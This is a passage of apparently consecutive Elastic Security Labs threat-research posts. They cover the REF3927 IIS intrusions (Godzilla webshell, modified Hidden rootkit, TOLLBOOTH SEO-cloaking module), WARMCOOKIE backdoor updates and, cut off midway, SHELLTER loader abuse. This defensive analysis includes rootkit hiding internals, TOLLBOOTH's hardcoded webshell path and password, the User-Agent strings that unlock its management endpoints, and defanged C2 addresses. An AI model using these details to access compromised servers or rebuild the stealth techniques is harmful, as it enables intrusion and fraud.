Upon initial access through ViewState injection, REF3927 was observed deploying webshells, including a Godzilla shell framework, to facilitate persistent access. They then enumerated privileges and attempted (unsuccessfully) to create their own user accounts. When account creation attempts failed, the actor then uploaded and executed the GotoHTTP Remote Monitoring and Management (RMM) tool. The threat actor created an Administrator account and attempted to dump credentials using Mimikatz, but this was prevented by Elastic Defend.

With attempts to further expand the scope of the intrusion blocked, the threat actor deployed their traffic hijacking IIS Module, TOLLBOOTH, as a means to monetize their access. The actor also attempted to deploy a modified version of the open-source Hidden rootkit to obfuscate their malware. In the observed intrusion, Elastic Defend prevented both TOLLBOOTH and the rootkit from being executed.

Godzilla EKP analysis

One of the main tools used by this group is a Godzilla-forked framework called Z-Godzilla_ekp written by ekkoo-z. This tool piggybacks off the previous Godzilla project by adding new features such as an AMSI bypass plugin and masquerading its network traffic to appear more legitimate. This toolkit allows operators to generate ASP.NET, Java, C#, and PHP payloads, connect to targets, and provides different encryption options to hide network traffic. This framework uses a plugin system driven by a GUI with many features, including:

Discovery/enumeration capabilities
Privilege escalation techniques
Command execution/file execution
Shellcode loader, meterpreter, in-memory PE execution
File management, zipping utility
Cred stealing plugin (lemon) - Retrieves FileZilla, Navicat, WinSCP, and Xmanager credentials
Browser password scraping
Port scanning, HTTP proxy configuration, note-taking

Below is a network traffic example showing the operator traffic to the webshell (error.aspx) using Z-Godzilla_ekp. The webshell will take the Base64-encoded AES-encrypted data from the HTTP POST request, then execute the .NET assembly in-memory. These requests are disguised by embedding the encrypted data in HTTP POST parameters in order to blend in as normal network traffic.

Rootkit analysis

The attacker hid their presence on the infected machine by deploying a kernel rootkit. This rootkit works in conjunction with a userland application named HijackDriverManager, whose interface strings are written in Chinese, to interact with the driver. For this analysis, we examined both the malicious rootkit and the code from the original “Hidden” open-source project from which it was derived. Internally, we are calling the rootkit HIDDENDRIVER and the userland application HIDDENCLI.

This malicious software is a modified version of the open source rootkit Hidden, which has been available on GitHub for years. The malware author made minor modifications before compilation. For example, the rootkit uses Direct Kernel Object Manipulation (DKOM) to hide its presence and maintain persistence on the compromised system. The compiled driver still has “hidden” within the compilation path string, indicating that they used the “Hidden” rootkit project.

Upon initial loading into the kernel, the driver prioritizes a series of critical initialization steps. It first invokes seven initialization functions:

InitializeConfigs
InitializeKernelAnalyzer
InitializePsMonitor
InitializeFSMiniFilter
InitializeRegistryFilter
InitializeDevice
InitializeStealthMode

To prepare its internal components before populating its driver object and associated fields, such as major functions.

The following sections will elaborate on each of these seven critical initialization functions, detailing their purpose.

InitializeConfigs

The rootkit's initial action is to run the InitializeConfigs function. This function's sole purpose is to read the rootkit's configuration from the driver's service key in the Windows registry, which is populated by the userland application. These values are extracted and put in global configuration variables that will be later used by the rootkit.

The following table summarizes the configuration parameters that the rootkit extracts from the registry:

| Registry name | Description | Type | |---------------------|----------------------------------------------------------------|--------| | Kbj_WinkbjFsDirs | A list of directory paths to be hidden | string | | Kbj_WinkbjFsFiles | A list of file paths to be hidden | string | | Kbj_WinkbjRegKeys | A list of registry keys to be hidden | string | | Kbj_WinkbjRegValues | A list of registry values to be hidden | string | | Kbj_FangxingImages | A list of process images to whitelist | string | | Kbj_BaohuImages | A list of process images to protect | string | | Kbj_WinkbjImages | A list of process images to be hidden | string | | Kbj_Zhuangtai | A global kill switch that is set from userland | bool | | Kbj_YinshenMode | This flag signals that the rootkit must conceal its artifacts. | bool |

InitializeKernelAnalyzer

Its purpose is to dynamically scan the kernel memory to find the addresses of the PspCidTable and ActiveProcessLinks that are needed.

The PspCidTable is the kernel's structure that serves as a table for process and thread IDs, while ActiveProcessLinks under the _EPROCESS structure serves as a doubly-linked list connecting all currently running processes. It allows the system to track and traverse all active processes. By removing entries from this list, it is possible to hide processes from enumeration tools like Process Explorer.

LookForPspCidTable

It searches for the PspCidTable address by disassembling the function PsLookupProcessByProcessIdwith the library Zydis and parsing it.

LookForActiveProcessLinks

This function determines the offset of the ActiveProcessLinks field within the _EPROCESS structure. It uses hardcoded offset values specific to different Windows versions. It has a fast scanning process that relies on these hardcoded values to find the ActiveProcessLinks field, which will be validated by another function. In case it fails to find it with the hardcoded values, it takes a brute-force approach by starting from a hardcoded relative offset to the maximum possible offset.

InitializePsMonitor

InitializePsMonitor sets up the rootkit's process monitoring and manipulation engine. This is the heart of its ability to hide processes.

It first initializes three AVL tree structures to hold information (rules) for excluding, protecting, and hiding processes. It uses RtlInitializeGenericTableAvl for high-speed lookups and populates them with data from the configuration. It then sets up different kernel callbacks to monitor the system using the set of rules.

Registering object manager callback with (ObRegisterCallbacks)

This hook registers the ProcessPreCallback and ThreadPreCallback functions. The kernel's Object Manager executes this code before it completes any request to create or duplicate a handle to a process or thread.

When a process tries to get a handle on another process, the callback function ProcessPreCallback is called. It will first check if the destination process is a protected process (in the list). If it is the case, instead of not granting access, it will simply downgrade its rights over the protected process with the access set to SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION.

This will ensure that processes cannot interact with/inspect, or kill the protected process.

The same mechanism applies to threads.

Process Creation Callback(PsSetCreateProcessNotifyRoutineEx)

The rootkit registers a callback with the PsSetCreateProcessNotifyRoutineEx API on process creation. When a new process is launched, this callback runs a function CheckProcessFlags that checks the process’s image against the configured list of image paths. It then creates an entry for this new process in its internal tracking table, setting its excluded, protected, and hidden flags accordingly.

Behavior based on flags:

Excluded
- The rootkit will ignore the process and just let it run as expected.
Protected
- The rootkit will not allow any other process to get a privileged handle on it, similar to what happens in ProcessPreCallback.
Hidden
- The rootkit will hide the process by Direct Kernel Object Manipulation (DKOM). Directly manipulating a process's kernel structures at the very instant of its creation can be unstable. In the process creation callback, if a process needs to be hidden, it is unlinked from the ActiveProcessLinks list. However, it sets a postponeHiding flag that will be explained below.

The Image Load callback (PsSetLoadImageNotifyRoutine)

This registers the LoadProcessImageNotifyCallback using PsSetLoadImageNotifyRoutine, which the kernel calls whenever an executable image (a .exe or .dll) is loaded into a process's memory.

When the image is loaded, the callback checks the postponeHiding flag; if set, it calls UnlinkProcessFromCidTable to remove it from the master process ID table (PspCidTable).

InitializeFSMiniFilter

The function defines its capabilities in the FilterRegistration structure(FLT_REGISTRATION). This structure tells the operating system which functions to call for which types of file system operations. It registers callbacks for the following requests:

IRP_MJ_CREATE: Intercepts any attempt to open or create a file or directory.
IRP_MJ_DIRECTORY_CONTROL: Intercepts any attempt to list the contents of a directory.

FltCreatePreOperation(IRP_MJ_CREATE)

This is a pre-operation callback, when a process tries to create/open a file, this function is triggered. It will check the path against its list of files to be hidden. If a match is found, it will change the operation result of the IRP request to STATUS_NO_SUCH_FILE, indicating to the requesting process that the file does not exist, except if the process is included in the excluded list.

FltDirCtrlPostOperation(IRP_MJ_DIRECTORY_CONTROL)

This is a post-operation callback; the implemented hook essentially intercepts the directory listening generated by the system and modifies it by removing any files listed as hidden.

InitializeRegistryFilter

After concealing its processes and files, the rootkit's next step is to erase entries from the Windows Registry. The InitializeRegistryFilter function accomplishes this by installing a registry filtering callback to intercept and modify registry operations.

It registers a callback using the CmRegisterCallbackEx API, using the same principle as with files. If the registry key or value is in the hidden registry list, the callback function will return the status STATUS_NOT_FOUND.

InitializeDevice

The InitializeDevice function does the driver initialization needed, and it sets up an IOCTL communication so that the userland application can communicate with it directly

The following is a table describing each IOCTL command handled by the driver.

| IOCTL command | Description | |-------------------------------------|------------------------------------------------------------------------------------------------------------------------| | HID_IOCTL_SET_DRIVER_STATE | Soft enable/disable the rootkit functionalities by setting a global state flag that acts as a master on/off switch. | | HID_IOCTL_GET_DRIVER_STATE | Retrieve the current state of the rootkit (enabled/disabled). | | HID_IOCTL_ADD_HIDDEN_OBJECT | Adds a new rule to hide a specific file, directory, registry key, or value. | | HID_IOCTL_REMOVE_HIDDEN_OBJECT | Removes a single hiding rule by its unique ID. | | HID_IOCTL_REMOVE_ALL_HIDDEN_OBJECTS | Remove all hidden objects for a specific object type(registry keys/values, files, directories). | | HID_IOCTL_ADD_OBJECT | Adds a new rule to automatically hide, protect, or exclude a process based on its image path. | | HID_IOCTL_GET_OBJECT_STATE | Queries the current state (hidden, protected, or excluded) of a specific running process by its PID. | | HID_IOCTL_SET_OBJECT_STATE | This command modifies the state (hidden, protected, or excluded) of a specific running process, identified by its PID. | | HID_IOCTL_REMOVE_OBJECT | Removes a single process rule (hide, protect, or exclude) by its unique ID. | | HID_IOCTL_REMOVE_ALL_OBJECTS | This command clears all process states and image rules of a specific type. |

InitializeStealthMode

After successfully setting up its configuration, process callbacks, and file system filters, the rootkit executes its final initialization routine: InitializeStealthMode. If the configuration flag Kbj_YinshenMode is enabled, it will hide every artifact associated with the rootkit, including registry keys, the .sys file, and other related components, using the same techniques described above.

Code Variations

While the malware is heavily based on the HIDDENDRIVER source code, our analysis identified several minor alterations. The following section breaks down the notable code differences we observed.

The original code in the IsProcessExcluded function consistently excludes the system process (PID 4) from the rootkit's operations. However, the malicious rootkit has an exclusion list for additional process names, as illustrated in the provided screenshot.

The original code's callback for filtering system information (including files, directories, and registries) used the IsDriverEnabled function to verify if the driver functionalities were enabled. However, the observed rootkit introduced an additional, automatic whitelist check for processes with the image name hijack, which corresponds to the userland application.

RMM usage

The GotoHTTP tool is a legitimate Remote Monitoring and Management (RMM) application, deployed by the threat actor to maintain easier access to the compromised IIS server. Its “Browser-to-Client” architecture allows the attacker to control the server from any standard web browser over common web ports (80/443) by routing all traffic through GotoHTTP’s own platform, preventing direct network connection to the attacker’s own infrastructure.

!gotohttp[.]com landing page

RMMs continue to increase in popularity for use at multiple points of the cyber kill chain and by various threat actors. Most anti-malware vendors do not consider them malicious in isolation and therefore do not block them outright. RMM C2 also only flows to legitimate RMM provider websites, and therefore has the same dynamics for network-based protections and monitoring.

Blocking the mass of currently active RMMs and allowing only the enterprise's preferred RMM would be the optimal protection mechanism. However, this paradigm is only available to enterprises with the right technical knowledge, defensive tooling, mature organizational policies, and coordination across departments.

IIS module analysis

The threat actor was observed deploying both 32-bit and 64-bit versions of TOLLBOOTH, a malicious IIS module. TOLLBOOTH has been previously discussed by Ahnlab and the security researcher, @Azaka. Some of the malware’s key capabilities include SEO cloaking, a management channel, and a publicly accessible webshell. We discovered both native and .NET managed versions being deployed in the wild.

Malware Config Structure

TOLLBOOTH retrieves its configuration dynamically from hxxps://c[.]cseo99[.]com/config/.json, and the creation of each victim’s JSON config file is handled by the threat actor’s infrastructure. However, hxxps://c[.]cseo99[.]com/config/127.0.0.1.json responded, showing a lack of anti-analysis checks - allowing us to retrieve a copy of a config file for analysis. It can be viewed in this GitHub Gist, and we will reference how some of the fields are used as appropriate.

For native modules, the config and other temporary cache files are Gzip-compressed and stored locally at a hardcoded path C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\. For the managed module, these are AES-encrypted with key YourSecretKey123 and IV 0123456789ABCDEF, Gzip-compressed, and stored at C:\\Windows\\Temp\\AcpLogs\\.

Webshell

TOLLBOOTH exposes a webshell at the /mywebdll path, requiring a password of hack123456! for file uploads and execution of commands. Form submission sends a POST request to the /scjg endpoint.

The password is hardcoded in the binary, and this webshell feature is present in both v1.6.0 and v1.6.1 of the native version of TOLLBOOTH.

The file upload functionality contains a bug that stems from its sequential, order-dependent parsing of multipart/form-data fields. The standard HTML form is structured such that the file input field appears before the directory input fields. The server processing the request parts attempts to handle the file data before the destination directory, creating a dependency conflict that causes standard uploads to fail. By manually reordering the multipart/form-data parts, a successful file upload can still be triggered.

Management Channel

TOLLBOOTH exposes a few additional endpoints for C2 operators’ management/debug purposes. They are only accessible by setting the User Agent to one of the following (though it is configurable):

Hijackbot
gooqlebot
Googlebot/2.;
Googlébot
Googlêbot
Googlebót;
Googlebôt;
Googlebõt;
Googlèbot;
Googlëbot;
Binqbot
bingbot/2.;
Bíngbot
Bìngbot
Bîngbot
Bïngbot
Bingbót;
Bingbôt;
Bingbõt;

The /health endpoint provides a quick way to assess the module’s health, returning the file name to access the config stored at c[.]cseo99[.]com, disk space information, the module's installation path, and the version of TOLLBOOTH.

The /debug endpoint provides more details, including a summary of the configuration, cache directory, HTTP request information, etc.

The parsed configuration is accessible at /conf.

The /clean endpoint allows the operator to clear the current configuration by deleting the config files stored locally (clean?type=conf) in order to update them on the victim server, clear any other temporary caches the malware uses (clean?type=conf), or clear both - everything in the C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\ path (clean?type=all).

SEO Cloaking

The main goal of TOLLBOOTH is SEO cloaking, a process that involves presenting keyword-optimized content to search engine crawlers, while concealing it from casual user browsing, to achieve higher search rankings for the page. Once a human visitor clicks the link from the boosted search results, the malware redirects them to a malicious or fraudulent page. This tactic is an effective way to increase traffic to malicious pages compared to alternatives like direct phishing, because users trust search engine results they request more than unsolicited emails.

TOLLBOOTH differentiates between bots and visitors by checking the User Agent and the Referer headers for values defined in the config.

Both the native and the managed modules are implemented almost identically. The only difference is that native modules v1.6.0 and v1.6.1 check both the User Agent and Referer against the seoGroupRefererMatchRules list, and the .NET module v1.6.1 checks the User Agent against the seoGroupUaMatchRules list and Referer against the seoGroupRefererMatchRules list.

Based on the current configuration, the values for seoGroupUaMatchRules and seoGroupRefererMatchRules are googlebot and google, respectively. A GoogleBot crawler would have a User Agent match and not a Referer match, whereas a human visitor would have a Referer match but not a User Agent match. Looking at the fallback list containing both bing and yahoo suggests that those search engines were targeted in the past as well.

The code snippet below is responsible for building a page filled with keyword-stuffed links that search engine crawlers will see.

The module constructs a link farm in two phases. First, to build internal link density, it retrieves a list of random keywords from resource URIs defined in the affLinkMainWordSeoResArr configuration field. For each keyword, it generates a "local link" pointing to another SEO page on the same compromised website. Next, it builds the external network by retrieving "affiliate link resources" from the affLinkSeoResArr field. These resources are a list of URIs pointing to SEO pages on other external domains that are also infected with TOLLBOOTH. The URIs look like hxxps://f[.]fseo99[.]com//<.txt/.html> in the configuration. The module then creates hyperlinks from the current site to these other victims. This technique, known as link farming, is designed to artificially inflate search engine rankings across the entire network of compromised sites.

Below is an example of what a crawler bot would see when visiting the landing page of a web server infected with TOLLBOOTH.

URL path prefixes to the SEO pages contain words or phrases from the seoGroupUrlMatchRules config field. This is also referenced in the site redirection logic targeting visitors. These are currently:

stock
invest
summary
datamining
market-outlook
bullish-on
news-overview
news-volatility
video/
app/
blank/

Templates and content for SEO pages are also externally retrieved from URIs that look like hxxps://f[.]fseo99[.]com//<.txt/.html> in the config. Here is an example of what one of the SEO pages looks like:

For the user redirection logic, the module first gathers a fingerprint of the visitor, including their IP address, user agent, referrer, and the SEO page’s target keyword. It then sends this information via a POST request to hxxps://api[.]aseo99[.]com/client/landpage. If the request is successful, the server responds with a JSON object containing a specific landpageUrl, which becomes the destination for the redirect.

If the communication fails for any reason, TOLLBOOTH falls back to constructing a new URL pointing to the same C2 endpoint but instead encodes the visitor’s information directly into the URL as GET parameters. Finally, the chosen URL - either from the successful C2 response or the fallback - is embedded into a JavaScript snippet (window.location.href) and sent to the victim’s browser, forcing an immediate redirection.

Page Hijacker

For the native modules, if the URI path contains xlb, TOLLBOOTH responds with a custom loader page containing a script tag. This script's src attribute points to a dynamically generated URL, mlxya[.]oss-accelerate[.]aliyuncs[.]com/<12_random_alphanumeric_characters>, which is used to retrieve an obfuscated next-stage JavaScript payload.

The deobfuscated payload appears to be a page-replacement tool that executes based on specific trigger keywords (e.g., xlbh, mxlb) found in the URL. Once triggered, it contacts one of the attacker-controlled endpoints at asf-sikkeiyjga[.]cn-shenzhen[.]fcapp[.]run/index/index?href= or ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run/index/index?key=, appending the current page’s URL as a Base64-encoded parameter to identify the compromised site. The script then uses document.write() to completely wipe the current page’s DOM and replace it with the server’s response. While the final payload could not be retrieved at the time of writing, this technique is designed to inject attacker-controlled content, most commonly a malicious HTML page or a JS redirect to another malicious site.

Campaign targeting

While conducting the analysis of TOLLBOOTH and its associated webshell, we identified multiple mechanisms to identify additional victims through active and semi-passive collection methods.

We then partnered with @SreekarMad at Validin to leverage his expertise and their scanning infrastructure in an effort to develop a more comprehensive list of victims.

At the time of publication, 571 IIS server victims were identified with active TOLLBOOTH infections.

These servers are globally distributed (with one major exception, described below), and do not fit into any neat industry vertical buckets. For these reasons, along with the sheer scale of the operation, we are led to believe that victim selection is untargeted and leverages automated scanning to identify IIS servers reusing publicly listed machine keys.

The collaboration with Validin and Texas A&M System Cybersecurity yielded a robust amount of metadata about the additional TOLLBOOTH-infected victims.

Automated exploitation may also be employed, but TAMUS Cybersecurity noted that the post-exploitation activity appeared to be interactive.

Validin discovered other potentially infected domains linked through the SEO farming link configs, but when checked for the webshell interface, found it inaccessible on some. After conducting a deeper manual investigation into these servers, we determined that they had been, in fact, TOLLBOOTH-infected, but either the owners remediated the issue or the attackers backed themselves out.

Subsequent scanning revealed that many of the same servers were reinfected. We have taken this to indicate that remediation was incomplete. One plausible explanation is that merely removing the threat does not close the vulnerability left open by the machine key reuse. So, victims who omit this final step are likely to be reinfected through the same mechanism. See the “Remediating REF3927” section below for additional details.

Geography

The geographic distribution of victims notably excludes any servers within China’s borders. One server was identified in Hong Kong, but it was hosting a .co.uk domain. This probable geofencing aligns with behavioral patterns from other criminal threats, where they implement mechanisms to ensure they do not target systems in their home countries. This mitigates their risk of prosecution as the governments of these countries tend to turn a blind eye toward, if not outright endorse, criminal activity targeting foreigners.

Diamond model

Elastic Security Labs utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leverages Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a single diamond.

Remediating REF3927

Remediation of the infection itself can be completed through industry best practices, such as reverting to a clean state and addressing malware and persistence mechanisms. However, in the face of potential automated scanning and exploitation, the vulnerability of the reused machine key remains for whichever bad actor wants to take over the server.

Therefore, remediation must include rotation of machine keys to a new, properly generated key.

Conclusion

The REF3927 campaign highlights how a simple configuration error, such as using a publicly exposed machine key, can lead to significant compromise. In this event, Texas A&M University System Cybersecurity and the affected customer took swift action to remediate the server, but based on our research, there continue to be other victims targeted using the same techniques.

The threat actor’s integration of open-source tooling, RMM software, and a malicious driver is an effective combination of techniques that have proven successful in their operations. Administrators of publicly exposed IIS environments should audit their machine key configurations, ensure robust security logging, and leverage endpoint detection solutions such as Elastic Defend during potential incidents.

Detection logic

Detection rules

Web Shell Detection: Script Process Child of Common Web Processes

Prevention rules

YARA signatures

Elastic Security has created the following YARA rules to prevent the malware observed in REF3927:

REF3927 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Observations

The following observables were discussed in this research.

| Observable | Type | Name | Reference | |---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|---------------------|---------------------------------------------------------------------| | 913431f1d36ee843886bb052bfc89c0e5db903c673b5e6894c49aabc19f1e2fc | SHA-256 | WingtbCLI.exe | HIDDENCLI | | f9dd0b57a5c133ca0c4cab3cca1ac8debdc4a798b452167a1e5af78653af00c1 | SHA-256 | Winkbj.sys | HIDDENDRIVER | | c1ca053e3c346513bac332b5740848ed9c496895201abc734f2de131ec1b9fb2 | SHA-256 | caches.dll | TOLLBOOTH | | c348996e27fc14e3dce8a2a476d22e52c6b97bf24dd9ed165890caf88154edd2 | SHA-256 | scripts.dll | TOLLBOOTH | | 82b7f077021df9dc2cf1db802ed48e0dec8f6fa39a34e3f2ade2f0b63a1b5788 | SHA-256 | scripts.dll | TOLLBOOTH | | bd2de6ca6c561cec1c1c525e7853f6f73bf6f2406198cd104ecb2ad00859f7d3 | SHA-256 | caches.dll | TOLLBOOTH | | 915441b7d7ddb7d885ecfe75b11eed512079b49875fc288cd65b023ce1e05964 | SHA-256 | CustomIISModule.dll | TOLLBOOTH | | c[.]cseo99[.]com | domain-name | | TOLLBOOTH config server | | f[.]fseo99[.]com | domain-name | | TOLLBOOTH SEO farming config server | | api[.]aseo99[.]com | domain-name | | TOLLBOOTH crawler reporting & page redirector API | | mlxya[.]oss-accelerate.aliyuncs[.]com | domain-name | | TOLLBOOTH page hijacker payload hosting server | | asf-sikkeiyjga[.]cn-shenzhen[.]fcapp.run | domain-name | | TOLLBOOTH page hijacker content-fetching server | | ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run | domain-name | | TOLLBOOTH page hijacker content-fetching server | | bae5a7722814948fbba197e9b0f8ec5a6fe8328c7078c3adcca0022a533a84fe | SHA-256 | 1.aspx | Godzilla-forked webshell (Similar sample from VirusTotal) | | 230b84398e873938bbcc7e4a1a358bde4345385d58eb45c1726cee22028026e9 | SHA-256 | GotoHTTP.exe | GotoHTTP | | Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 | User-Agent | | User-Agent observed during exploitation via IIS ViewState injection |

References

The following were referenced throughout the above research:

Addendum

HarfangLab posted their draft research on this threat the same day this post was released. In it, there are additional complementary insights:

https://x.com/securechicken/status/1980715257791193420
https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/

WARMCOOKIE One Year Later: New Features and Fresh Insights

Daniel Stepanic,Seth Goodwin — Wed, 01 Oct 2025 00:00:00 GMT

Revisiting WARMCOOKIE

Elastic Security Labs continues to track developments in the WARMCOOKIE codebase, uncovering new infrastructure tied to the backdoor. Since our original post, we have been observing ongoing updates to the code family and continued activity surrounding the backdoor, including new infections and its use with emerging loaders. A recent finding by the IBM X-Force team highlighted a new Malware-as-a-Service (MaaS) loader, dubbed CASTLEBOT, distributing WARMCOOKIE.

In this article, we will review new features added to WARMCOOKIE since its initial publication. Following this, we’ll present the extracted configuration information from various samples.

Key takeaways

The WARMCOOKIE backdoor is actively developed and distributed
Campaign ID, a recently added marker, sheds light on targeting specific services and platforms
WARMCOOKIE operators appear to receive variant builds distinguished by their command handlers and functionality
Elastic Security Labs identified a default certificate that can be used to track new WARMCOOKIE C2 servers

WARMCOOKIE recap

We first published research about WARMCOOKIE in the summer of 2024, detailing its functionality and how it was deployed through recruiting-themed phishing campaigns. Since then, we have observed various development changes to the malware, including the addition of new handlers, a new campaign ID field, code optimization, and evasion adjustments.

WARMCOOKIE’s significance was highlighted in May 2025, during Europol’s Operation Endgame, in which multiple high-profile malware families, including WARMCOOKIE, were disrupted. Despite this, we are still seeing the backdoor being actively used in various malvertising and spam campaigns.

WARMCOOKIE updates

Handlers

During our analysis of the new variant of WARMCOOKIE, we identified four new handlers introduced in the summer of 2024, providing quick capabilities to launch executables, DLLs, and scripts:

PE file execution
DLL execution
PowerShell script execution
DLL execution with Start export

The most recent WARMCOOKIE builds we have collected contain the DLL/EXE execution functionality, with PowerShell script functionality being much less prevalent. These capabilities leverage the same function by passing different arguments for each file type. The handler creates a folder in a temporary directory, writing the file content (EXE / DLL / PS1) to a temporary file in the newly created folder. Then, it executes the temporary file directly or uses either rundll32.exe or PowerShell.exe. Below is an example of PE execution from procmon.

String bank

Another change observed was the adoption of using a list of legitimate companies for the folder paths and scheduled task names for WARMCOOKIE (referred to as a “string bank”). This is done for defense evasion purposes, allowing the malware to relocate to more legitimate-looking directories. This approach uses a more dynamic method (a list of companies to use as folder paths, assigned at malware runtime) as opposed to hardcoding the path into a static location, as we observed with previous variants (C:\ProgramData\RtlUpd\RtlUpd.dll).

The malware uses GetTickCount as a seed for the srand function to randomly select a string from the string bank.

The following depicts an example of a scheduled task showing the task name and folder location:

By searching a few of these names and descriptions, our team found that this string bank is sourced from a website used to rate and find reputable IT/Software companies.

Smaller changes

In our last write-up, WARMCOOKIE passed a command-line parameter using /p to determine if a scheduled task needs to be created; this parameter has been changed to /u. This appears to be a small, but additional change to break away from previous reporting.

In this new variant, WARMCOOKIE now embeds 2 separate GUID-like mutexes; these are used in combination to better control initialization and synchronization. Previous versions only used one mutex.

Another noticeable improvement in the more recent versions of WARMCOOKE is code optimization. The implementation seen below is now cleaner with less inline logic which makes the program optimized for readability, performance, and maintainability.

Clustering configs

Since our initial publication in July 2024, WARMCOOKIE samples have included a campaign ID field. This field is used by operators as a tag or marker providing context to the operators around the infection, such as the distribution method. Below is an example of a sample with a campaign ID of traffic2.

Based on the extracted configurations of samples in the last year, we hypothesize that the embedded RC4 key can be used to distinguish between operators using WARMCOOKIE. While unproven, we observed from various samples that some patterns started to emerge based on clustering the RC4 key.

By using the RC4 key, we can see overlap in campaign themes over time, such as the build using RC4 key 83ddc084e21a244c, which leverages keywords such as bing, bing2, bing3,and aws for campaign mapping. An interesting note, as it relates to these build artifacts, is that some builds contain different command handlers/functionality. For example, the build using the RC4 key 83ddc084e21a244c is the only variant we have observed that has PowerShell script execution capabilities, while most recent builds contain the DLL/EXE handlers.

Other campaign IDs appear to use terms such as lod2lod, capo, or PrivateDLL. For the first time, we saw the use of embedded domains versus numeric IP addresses in WARMCOOKIE from a sample in July 2025.

WARMCOOKIE infrastructure overview

After extracting the infrastructure from these configurations, one SSL certificate stands out. Our hypothesis is that the certificate below is possibly a default certificate used for the WARMCOOKIE back-end.

Issuer     
    C=AU, ST=Some-State, O=Internet Widgits Pty Ltd 
Not Before     
    2023-11-25T02:46:19Z
Not After
    2024-11-24T02:46:19Z  
Fingerprint (SHA1)     
    e88727d4f95f0a366c2b3b4a742950a14eff04a4
Fingerprint (SHA256)
    8c5522c6f2ca22af8db14d404dbf5647a1eba13f2b0f73b0a06d8e304bd89cc0

Certificate details

Note the “Not After” date above shows that this certificate is expired. However, new (and reused) infrastructure continues to be initialized using this expired certificate. This is not entirely new infrastructure, but rather a reconfiguration of redirectors to breathe new life into existing infrastructure. This could indicate that the campaign owners are not concerned with the C2 being discovered.

Conclusion

Elastic Security Labs continues to observe WARMCOOKIE infections and the deployment of new infrastructure for this family. Over the last year, the developer has continued to make updates and changes, suggesting it will be around for some time to come. Based on its selective usage, it continues to remain under the radar. We hope that by sharing this information, organizations will be better equipped to protect themselves from this threat.

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Detecting malware

Prevention

YARA

Elastic Security has created the following YARA rules to identify this activity.

Windows.Trojan.WarmCookie

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

Taking SHELLTER: a commercial evasion framework abused in-the-wild

Seth Goodwin,Daniel Stepanic,Jia Yu Chan,Samir Bousseaden — Thu, 03 Jul 2025 00:00:00 GMT

Introduction

Elastic Security Labs is observing multiple campaigns that appear to be leveraging the commercial AV/EDR evasion framework, SHELLTER, to load malware. SHELLTER is marketed to the offensive security industry for sanctioned security evaluations, enabling red team operators to more effectively deploy their C2 frameworks against contemporary anti-malware solutions.

Key takeaways

Commercial evasion framework SHELLTER acquired by threat groups
SHELLTER has been used in multiple infostealer campaigns since April 2025, as recorded in license metadata
SHELLTER employs unique capabilities to evade analysis and detection
Elastic Security Labs releases dynamic unpacker for SHELLTER-protected binaries

Throughout this document we will refer to different terms with “shellter” in them. We will try to 
maintain the following style to aid readability:
  *  “Shellter Project” - the organization that develops and sells the Shellter evasion framework
  *  “Shellter Pro Plus/Elite” - the commercial names for the tools sold by the Shellter Project
  *  “SHELLTER” - the loader we have observed in malicious usage and are detailing in this report
  *  “SHELLTER-protected” - a descriptor of final payloads that the SHELLTER loader delivers

SHELLTER Overview

SHELLTER is a commercial evasion framework that has been assisting red teams for over a decade. It helps offensive security service providers bypass anti-virus and, more recently, EDR tools. This allows red teams to utilize their C2 frameworks without the constant development typically needed as security vendors write detection signatures for them.

While the Shellter Project does offer a free version of the software, it has a limited feature-set, 
only 32-bit .exe support, and is generally better understood and detected by anti-malware 
products. The free version is not described in this article.

SHELLTER, like many other offensive security tools (OSTs), is a dual-use product. Malicious actors, once they gain access to it, can use SHELLTER to extend the lifespan of their tools. Reputable offensive security vendors, such as the Shellter Project, implement safeguards to mitigate the risk of their products being used maliciously. These measures include geographic sales limits, organizational due diligence, and End User License Agreements (EULAs). Despite these efforts, highly motivated malicious actors remain a challenge.

In mid-June, our research identified multiple financially motivated infostealer campaigns that have been using SHELLTER to package payloads beginning late April 2025. Evidence suggests that this is the Shellter Elite version 11.0, which was released on April 16, 2025.

SHELLTER is a complex project offering a wide array of configurable settings tailored for specific operating environments, payload delivery mechanisms, and encryption paradigms. This report focuses exclusively on features observed in identified malicious campaigns. While some features appear to be common, a comprehensive review of all available features is beyond the scope of this document.

SHELLTER Loader - Technical Details

The following sections describe capabilities that resemble some of the Shellter Project’s published Elite Exclusive Features. Our assessment indicates that we are observing Shellter Elite. This conclusion is based on a review of the developer's public documentation, observation of various samples from different builds with a high degree of code similarity, and the prevalence of evasion features scarcely observed.

Polymorphic Junk Code

SHELLTER-protected samples commonly employ self-modifying shellcode with polymorphic obfuscation to embed themselves within legitimate programs. This combination of legitimate instructions and polymorphic code helps these files evade static detection and signatures, allowing them to remain undetected.

By setting a breakpoint on VirtualAlloc in a SHELLTER-protected RHADAMANTHYS sample, we can see the call stack of this malware sample.

This type of polymorphic code confuses static disassemblers and impairs emulation efforts. These instructions show up during the unpacking stage, calling one of these pairs of Windows API functions to allocate memory for a new shellcode stub:

GetModuleHandleA / GetProcAddress
CreateFileMappingW / MapViewOfFile

